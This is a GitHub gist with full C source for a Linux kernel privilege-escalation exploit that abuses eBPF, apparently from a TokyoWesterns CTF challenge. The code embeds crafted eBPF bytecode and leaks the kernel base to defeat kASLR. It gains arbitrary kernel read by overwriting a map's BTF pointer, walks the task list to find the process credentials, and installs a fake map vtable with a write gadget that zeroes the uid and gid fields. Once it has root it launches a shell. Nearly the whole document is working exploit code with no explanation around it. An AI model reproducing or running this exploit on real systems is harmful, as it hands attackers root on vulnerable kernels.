Skip to content

Instantly share code, notes, and snippets.

@SiD3W4y
Last active March 1, 2021 11:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SiD3W4y/4bb38f4d1c664eb83383a425191905d8 to your computer and use it in GitHub Desktop.
Save SiD3W4y/4bb38f4d1c664eb83383a425191905d8 to your computer and use it in GitHub Desktop.
tokyowesterns eebpf exploit
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <err.h>
#include <sys/socket.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <bpf/bpf.h>
#include "simple_bpf.h"
#define MAGIC_MAP_FD 42
#define BPF_ARRAY_START_OFF 0xd0
#define CRED_UID_OFF 0x4
#define SO_ATTACH_BPF 50
uint8_t bpf_code[176] = { 191, 162, 0, 0, 0, 0, 0, 0, 7, 2, 0, 0, 248, 255, 255, 255, 122, 2, 0, 0, 0, 0, 0, 0, 24, 17, 0, 0, 42, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 133, 0, 0, 0, 1, 0, 0, 0, 85, 0, 1, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0, 121, 3, 0, 0, 0, 0, 0, 0, 183, 1, 0, 0, 0, 0, 0, 64, 231, 1, 0, 0, 32, 0, 0, 0, 189, 19, 2, 0, 0, 0, 0, 0, 183, 0, 0, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0, 231, 3, 0, 0, 2, 0, 0, 0, 199, 3, 0, 0, 2, 0, 0, 0, 191, 1, 0, 0, 0, 0, 0, 0, 31, 48, 0, 0, 0, 0, 0, 0, 121, 2, 0, 0, 0, 0, 0, 0, 123, 33, 0, 0, 0, 0, 0, 0, 183, 0, 0, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0 };
uint8_t store_relative[248] = { 191, 162, 0, 0, 0, 0, 0, 0, 7, 2, 0, 0, 248, 255, 255, 255, 122, 2, 0, 0, 0, 0, 0, 0, 24, 17, 0, 0, 42, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 133, 0, 0, 0, 1, 0, 0, 0, 85, 0, 1, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0, 121, 3, 0, 0, 0, 0, 0, 0, 183, 1, 0, 0, 0, 0, 0, 64, 231, 1, 0, 0, 32, 0, 0, 0, 189, 19, 2, 0, 0, 0, 0, 0, 183, 0, 0, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0, 231, 3, 0, 0, 2, 0, 0, 0, 199, 3, 0, 0, 2, 0, 0, 0, 191, 1, 0, 0, 0, 0, 0, 0, 31, 48, 0, 0, 0, 0, 0, 0, 191, 6, 0, 0, 0, 0, 0, 0, 191, 162, 0, 0, 0, 0, 0, 0, 7, 2, 0, 0, 248, 255, 255, 255, 122, 2, 0, 0, 1, 0, 0, 0, 24, 17, 0, 0, 42, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 133, 0, 0, 0, 1, 0, 0, 0, 85, 0, 1, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0, 121, 1, 0, 0, 0, 0, 0, 0, 123, 22, 0, 0, 0, 0, 0, 0, 183, 0, 0, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0 };
// Socketpair used to execute the bpf program
static int pair[2];
// BPF program_fd
static int program_fd = 0;
// BPF map fd
static int map_fd = 0;
// Logging buffer for ebpf
static char logbuf[4096];
// The current task address
uint64_t kern_base = 0;
uint64_t current_task = 0;
uint64_t cred_struct = 0;
// explmap fd -> buffer we control with a known address in the kernel
static int explmap_fd = 0;
uint64_t explmap_ptr = 0;
// 0xffffffff8155947c : mov dword ptr [rcx], 0 ; ret
#define LOCAL 0
#define KERNEL_BASE 0xffffffff81000000
#if LOCAL
#define TASK_STRUCT_PID_OFF 0x4c8
#define TASK_STRUCT_TASKS_OFF 0x3c8
#define BTF_PTR_OFF 0xd0-0x40
#define BTF_ID_OFF 0x58
#define FILE_PRIVATE_DATA 0xc8
#define TASK_STRUCT_CRED_OFF 0x670
#define TASK_STRUCT_FILES_OFF 0x6c8
#define FILES_STRUCT_FD_ARRAY 0xa0
uint64_t ARRAY_MAP_OPS_OFF = 0xffffffff81e2dd00 - KERNEL_BASE;
uint64_t INIT_TASK = 0xffffffff82212780 - KERNEL_BASE;
uint64_t ARRAY_MAP_UPDATE_ELEM = 0xffffffff81231d19 - KERNEL_BASE;
uint64_t MOV_DW_RCX_0 = 0xffffffff8155947c - KERNEL_BASE;
#else
#define TASK_STRUCT_PID_OFF 0x360
#define TASK_STRUCT_TASKS_OFF 0x260
#define BTF_PTR_OFF 0xd0-0x38
#define BTF_ID_OFF 0x58
#define FILE_PRIVATE_DATA 0xc0
#define TASK_STRUCT_CRED_OFF 0x500
#define TASK_STRUCT_FILES_OFF 0x540
#define FILES_STRUCT_FD_ARRAY 0xa0
uint64_t ARRAY_MAP_OPS_OFF = 0xffffffff81a0dec0 - KERNEL_BASE;
uint64_t INIT_TASK = 0xffffffff81c114c0 - KERNEL_BASE;
uint64_t ARRAY_MAP_UPDATE_ELEM = 0xffffffff810dbae0 - KERNEL_BASE;
uint64_t MOV_DW_RCX_0 = 0xffffffff810933bc - KERNEL_BASE;
#endif
// 0xffffffff81e11c08
static void display_debug_bpf(struct bpf_insn* instructions, size_t count)
{
printf("---- Instructions ----\n");
for (size_t i = 0; i < count; i++)
{
struct bpf_insn* insn = &instructions[i];
printf("[%3i] { op = %02x, dst_reg = %i, src_reg = %i, off = %i, imm = %i }\n",
i,
insn->code,
insn->dst_reg,
insn->src_reg,
insn->off,
insn->imm);
}
}
static uint64_t leak_relative(uint64_t offset)
{
int index = 0;
if (bpf_map_update_elem(map_fd, &index, &offset, BPF_ANY) == -1)
err(1, "leak_relative_map_update");
// Write to socket to execute bpf
if (write(pair[1], logbuf, 1) == -1)
err(1, "leak_relative_exec");
uint64_t result = 0xdeadbeef;
if (bpf_map_lookup_elem(map_fd, &index, &result) == -1)
err(1, "bpf_map_lookup_elem");
return result;
}
static void init_exploit(void)
{
// Create the bpf map that we will use to feed variables to the exploit.
map_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY,
sizeof(int),
sizeof(uint64_t),
256,
0);
if (map_fd == -1)
err(1, "bpf_create_map");
// We wan't a well known fd as our bpf code is compiled separately.
map_fd = dup2(map_fd, MAGIC_MAP_FD);
// Write oob target at the beginning of the map
int index = 0;
uint64_t value = 0x8;
if (bpf_map_update_elem(map_fd, &index, &value, BPF_ANY) == -1)
err(1, "bpf_map_update_elem");
// Setting ebpf code
size_t inscount = sizeof(bpf_code) / sizeof(struct bpf_insn);
program_fd = bpf_load_program(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)bpf_code, inscount, "MIT", 0, logbuf, sizeof(logbuf));
// Try to load the program, fingers crossed !
if (program_fd == -1)
{
printf("--- logbuf ---\n %s\n", logbuf);
err(1, "bpf_load_program");
}
printf("[+] eBPF program was validated\n");
// Now attach and run the bpf code
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pair) == -1)
err(1, "socketpair");
if (setsockopt(pair[0], SOL_SOCKET, SO_ATTACH_BPF, &program_fd, sizeof(program_fd)) == -1)
err(1, "setsockopt");
printf("[+] eBPF program attached\n");
}
static void init_stage2(void)
{
close(pair[0]);
close(pair[1]);
size_t inscount = sizeof(store_relative) / sizeof(struct bpf_insn);
program_fd = bpf_load_program(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)store_relative, inscount, "MIT", 0, logbuf, sizeof(logbuf));
if (program_fd == -1)
{
printf("--- logbuf ---\n %s\n", logbuf);
err(1, "bpf_load_program");
}
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pair) == -1)
err(1, "socketpair");
if (setsockopt(pair[0], SOL_SOCKET, SO_ATTACH_BPF, &program_fd, sizeof(program_fd)) == -1)
err(1, "setsockopt");
printf("[+] Stage2 program loaded\n");
}
void relative_write(uint64_t address, uint64_t value)
{
int index = 0;
if (bpf_map_update_elem(map_fd, &index, &address, BPF_ANY) == -1)
err(1, "write_relative_offset_update");
index = 1;
if (bpf_map_update_elem(map_fd, &index, &value, BPF_ANY) == -1)
err(1, "write_relative_offset_update");
// Write to socket to execute bpf
if (write(pair[1], logbuf, 1) == -1)
err(1, "leak_relative_exec");
}
uint32_t read_u32(uint64_t address)
{
// Overwrite bpf_map->btf pointer
relative_write(BTF_PTR_OFF, address - BTF_ID_OFF);
struct bpf_map_info info = {0};
int len = sizeof(info);
if (bpf_obj_get_info_by_fd(map_fd, &info, &len) == -1)
err(1, "bpf_obj_get_info_by_fd");
uint64_t high = info.btf_key_type_id;
uint64_t low = info.btf_value_type_id;
// We null out the btf pointer otherwise the kernel will crash after
// the program returns (it will try to destroy the btf object).
relative_write(BTF_PTR_OFF, 0);
return info.btf_id;
}
uint64_t read_u64(uint64_t address)
{
uint64_t lo = read_u32(address);
uint64_t hi = read_u32(address + 4);
return (hi << 32) | lo;
}
static void create_explmap(void)
{
explmap_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY,
sizeof(int),
sizeof(uint64_t),
256,
0);
if (explmap_fd < 0)
err(1, "explmap_fd create");
// Now find the file struct corresponding to explmap_fd
uint64_t files_ptr = read_u64(current_task + TASK_STRUCT_FILES_OFF);
printf("[+] current_task->files = 0x%llx\n", files_ptr);
uint64_t file_ptr = read_u64(files_ptr + FILES_STRUCT_FD_ARRAY + (explmap_fd * 8));
printf("[+] file struct = 0x%llx\n", file_ptr);
explmap_ptr = read_u64(file_ptr + FILE_PRIVATE_DATA);
printf("[+] explmap address: 0x%llx\n", explmap_ptr);
}
static void write_null_u32(uint64_t address)
{
int idx = 0;
uint64_t value = 0;
if (bpf_map_update_elem(map_fd, &idx, &value, address) == -1)
err(1, "write_null_u32");
}
static void init_stage3(void)
{
// Create explmap and get its address
create_explmap();
// Copy bpf_map_ops inside explmap and replace map_update_elem by the address
// of our 'mov dword ptr [rcx], 0; ret' gagdet
uint64_t bpf_ops_ptr = read_u64(explmap_ptr);
uint64_t map_update_elem_addr = kern_base + ARRAY_MAP_UPDATE_ELEM;
for (int i = 0; i < 21; i++)
{
uint64_t fn_ptr = read_u64(bpf_ops_ptr + (i * 8));
if (fn_ptr == map_update_elem_addr)
{
printf("[+] Found array_map_update_elem at slot %i\n", i);
fn_ptr = kern_base + MOV_DW_RCX_0;
}
if (bpf_map_update_elem(explmap_fd, &i, &fn_ptr, BPF_ANY) == -1)
err(1, "explmap_update_vtable_copy");
}
// Now write fake vtable address into original map
relative_write(BPF_ARRAY_START_OFF, explmap_ptr + BPF_ARRAY_START_OFF);
// Overwrite uid/gid/euid/etc...
write_null_u32(cred_struct + 3);
write_null_u32(cred_struct + 8);
write_null_u32(cred_struct + 0x13);
write_null_u32(cred_struct + 0x18);
}
int main(void)
{
init_exploit();
// Step 1: kASLR infoleak
// Found by experimentation
uint64_t array_map_ops_leak = leak_relative(0xd0);
kern_base = array_map_ops_leak - ARRAY_MAP_OPS_OFF;
printf("[+] Array map ops: 0x%llx\n", array_map_ops_leak);
printf("[+] Found kernel base: 0x%llx\n", kern_base);
// Step 2: Arbitrary read, find current_task task_struct
init_stage2();
#if LOCAL
current_task = kern_base + INIT_TASK;
#else
uint64_t init_ptr = kern_base + (0xffffffff81c11720 - KERNEL_BASE);
current_task = read_u64(init_ptr) - TASK_STRUCT_TASKS_OFF;
#endif
printf("[+] init_task: 0x%llx\n", current_task);
pid_t cur_pid = getpid();
for (;;)
{
if (current_task == 0)
errx(1, "Could not find current process task");
uint32_t pid = read_u32(current_task + TASK_STRUCT_PID_OFF);
if (cur_pid == pid)
{
printf("[+] Found current process task: 0x%llx\n", current_task);
break;
}
// Read pointer to next task_struct
current_task = read_u64(current_task + TASK_STRUCT_TASKS_OFF);
// The next node is the address of the tasks list head of the next task
// struct. We remove the offset (container_of).
current_task -= TASK_STRUCT_TASKS_OFF;
}
cred_struct = read_u64(current_task + TASK_STRUCT_CRED_OFF);
printf("[+] Struct creds: 0x%llx\n", cred_struct);
// Step 3: Getting arbitrary write (well only a write dword 0 because I am
// too lazy to find something generic).
init_stage3();
int uid = getuid();
if (uid == 0)
{
printf("[+] Got root !!!\n");
char* args[] = {"sh", "-i", NULL};
execve("/bin/sh", args, NULL);
printf("execve failed\n");
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment